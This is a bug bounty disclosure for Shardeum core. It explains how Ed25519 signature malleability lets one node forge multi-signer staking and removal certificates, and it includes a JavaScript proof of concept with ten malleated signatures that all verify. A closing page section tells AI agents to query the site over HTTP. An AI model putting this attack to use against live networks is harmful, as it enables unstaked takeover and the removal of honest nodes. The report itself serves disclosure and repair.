# #39838 \[BC-Critical] Bypass certificate signing validation by double counting signatures due to signature malleability

**Submitted on Feb 8th 2025 at 18:38:00 UTC by @Blockian for** [**Audit Comp | Shardeum: Core III**](https://immunefi.com/audit-competition/audit-comp-shardeum-core-iii)

* **Report ID:** #39838
* **Report Type:** Blockchain/DLT
* **Report severity:** Critical
* **Target:** <https://github.com/shardeum/shardus-core/tree/bugbounty>
* **Impacts:**
  * Network not being able to confirm new transactions (total network shutdown)
  * Bypassing Staking Requirements

## Description

## Impact

1. Bypass stake certificate validation, allowing for non-staking nodes and network take-over
2. Bypass nodes removal validation, allowing to remove nodes from the network

* Note: same impact as reports [`33222`](https://reports.immunefi.com/shardeum-core/33222-bc-critical-an-attacker-can-control-which-nodes-can-and-can...) and [34252](https://reports.immunefi.com/shardeum-core/34252-bc-critical-bypass-certificate-signing-validation) but a different root cause.

## Root Cause

The function `validateClosestActiveNodeSignatures` counts unique signatures, a single keypair can be used to prepare many different valid signatures of the same object.

## Attack Flow

### Staking

* Malicious node generates a fake `JoinRequest` with a fake `StakingCertificate`
  * It brute-forces `StakingCertificate` fields to make sure its one of the closest nodes to the hash of the staking certificates. This is easy, as only 1 node is needed to be close.
* It creates the full `JoinRequest`, with multiple different signatures signed by him, instead of signatures from many other nodes.
* It calls `gossip-join-request`
* Other nodes receive the join request, and validate it using `validateClosestActiveNodeSignatures`.
* The validation bypasses, as the signatures are valid and different.
* The new node joins the network without staking.

### Kicking a node

* Malicious node generates a fake `RemoveCertificate`.
* It fills it with different signatures signed by him, instead of signatures from many other nodes.
* It calls `remove-by-app` gossip route.
* Other nodes receive the certificate, and validate it using `validateClosestActiveNodeSignatures`.
* The validation bypasses, as the signatures are valid and different.
* The victim node is kicked from the network.

## Deep Dive

The function [`validateClosestActiveNodeSignatures`](https://github.com/shardeum/core/blob/bugbounty/src\shardus\index.ts#L1975-L1975) uses [`Crypto.verify`](https://github.com/shardeum/core/blob/bugbounty/src\crypto\index.ts#L203-L203) which uses [`lib-crypto-utils`](https://github.com/shardeum/lib-crypto-utils/)' [`verifyObj`](https://github.com/shardeum/lib-crypto-utils/blob/bugbounty/src\index.ts#L442-L442) which calls [`verify`](https://github.com/shardeum/lib-crypto-utils/blob/bugbounty/src\index.ts#L416-L416) which verifies an Ed25591 signature.\
These signatures are vulnerable to [signature malleability](https://en.wikipedia.org/wiki/Malleability_\(cryptography\)) (can be also tested [here](https://slowli.github.io/ed25519-quirks/malleability/))

## Suggested Fix

1. Count signers and not signatures.
2. Somehow fix the malleability issue, I'm not sure how without going into libSodium.

## Severity

This allows to take over the network (by kicking nodes / adding nodes) and so it critical.\
In addition, this is the same as [`33222`](https://reports.immunefi.com/shardeum-core/33222-bc-critical-an-attacker-can-control-which-nodes-can-and-can...) and [34252](https://reports.immunefi.com/shardeum-core/34252-bc-critical-bypass-certificate-signing-validation) which were treated as critical.

## Proof of Concept

## POC

Due to the 2 POCs in `39768` and `39679` I only created a POC to show the signature checking issue, and not the signature counting issue.

```js
import crypto from '@shardus/crypto-utils';

crypto.init("69fa4195670576c0160d660c3be36556ff8d504725be8a59b5a96509e0c994bc")
const owner = "60bdd2e80a409e55c410bc84c7365cf2ea7ec74fb1b55b2812d3409533999926"
const main = async  () => {
    console.log(crypto.verifyObj({"a": 1, "sign": {"owner": owner, "sig": "c8ac5deacd1641fda532bcd64b19dff5776f7e9c5a8a1da226366b6c8e2a624a2d04602749cc0bdcf0c50ec8193eb3a04145950c2cc54f3f4fc92c0a1a3fa50e2447f7fd6f64497c69225631fec93a02f4c323db671d99fdd999a968c776f008"}}))
    console.log(crypto.verifyObj({"a": 1, "sign": {"owner": owner, "sig": "42954198969ced37d50afa4febce20b2d960152f066b03c2043768166b80bc9296e9b2391c7d7079c74249da5912e820544c565b1e746bbb2f263a9ea9ced9082447f7fd6f64497c69225631fec93a02f4c323db671d99fdd999a968c776f008"}}))
    console.log(crypto.verifyObj({"a": 1, "sign": {"owner": owner, "sig": "ba4164fae0c33ed5ff53b89cd9423fa934b78dc82eedfd88459b038ec3c63d86c248aa90eb98bac59373c403b2fd11614de5161268b3b35300d7547926ead0002447f7fd6f64497c69225631fec93a02f4c323db671d99fdd999a968c776f008"}}))
    console.log(crypto.verifyObj({"a": 1, "sign": {"owner": owner, "sig": "24ca7c14b3eb3962d7cd0444d3e64c6dba430aafda74e4897b38c31f369e9e2eba53dd4d5ca0b4e3978da43f0d982e11a94cc92b55acb4ff9254424b24f98b0f2447f7fd6f64497c69225631fec93a02f4c323db671d99fdd999a968c776f008"}}))
    console.log(crypto.verifyObj({"a": 1, "sign": {"owner": owner, "sig": "a00486748623ab48835c48efcdf8101997c1db7307e083fa0d3a2544cba810f89e12fa69092f873f7a1500f36eedb6852f22e12f36731d3039c4490896490a0b2447f7fd6f64497c69225631fec93a02f4c323db671d99fdd999a968c776f008"}}))
    console.log(crypto.verifyObj({"a": 1, "sign": {"owner": owner, "sig": "2fb4cf1f31e711d6c045ac59f62d72250cc74ecccdcfb795807d0ba15cba119d2477a795c2b51fd01038558af824ecdda0666db0dd052bb60d2aef3f6ae3b1052447f7fd6f64497c69225631fec93a02f4c323db671d99fdd999a968c776f008"}}))
    console.log(crypto.verifyObj({"a": 1, "sign": {"owner": owner, "sig": "6e8f5479c46f447833b3fddeac8e571d880987e4725d33eb3dc82ba738671d949345d978b5adc1865c946c3041b050b2b0f7fd1ef7ea1f1f6e5d20ae5f960f042447f7fd6f64497c69225631fec93a02f4c323db671d99fdd999a968c776f008"}}))
    console.log(crypto.verifyObj({"a": 1, "sign": {"owner": owner, "sig": "a9912e35d0601733b75d0993fda3a14d7ab1b32e92f41821ab572eaa27aa168868ffcbde18bd839af3fa732e562243c7440027f7810305a8696ae4b70a4e2e042447f7fd6f64497c69225631fec93a02f4c323db671d99fdd999a968c776f008"}}))
    console.log(crypto.verifyObj({"a": 1, "sign": {"owner": owner, "sig": "0be2c9769c2a20ea1ff020a520c798d486463c89267bfd152023b005214ab169d4fbf93e151defd67a8ac323972b06200cb8053a6e2c1483815cae97e44067042447f7fd6f64497c69225631fec93a02f4c323db671d99fdd999a968c776f008"}}))
    console.log(crypto.verifyObj({"a": 1, "sign": {"owner": owner, "sig": "a0de7d9676c0a42fe4b5109a68fe099f7f633b8e448d3b4545fd35123c5088c6799361c605e21cd48ac5525dd53afe37cf4a660ede43a2c11dd6aa8facb579072447f7fd6f64497c69225631fec93a02f4c323db671d99fdd999a968c776f008"}}))
}

main();
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://reports.immunefi.com/shardeum-core-iii/39838-bc-critical-bypass-certificate-signing-validation-by-double-counting-signatures-due-to-signatu.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
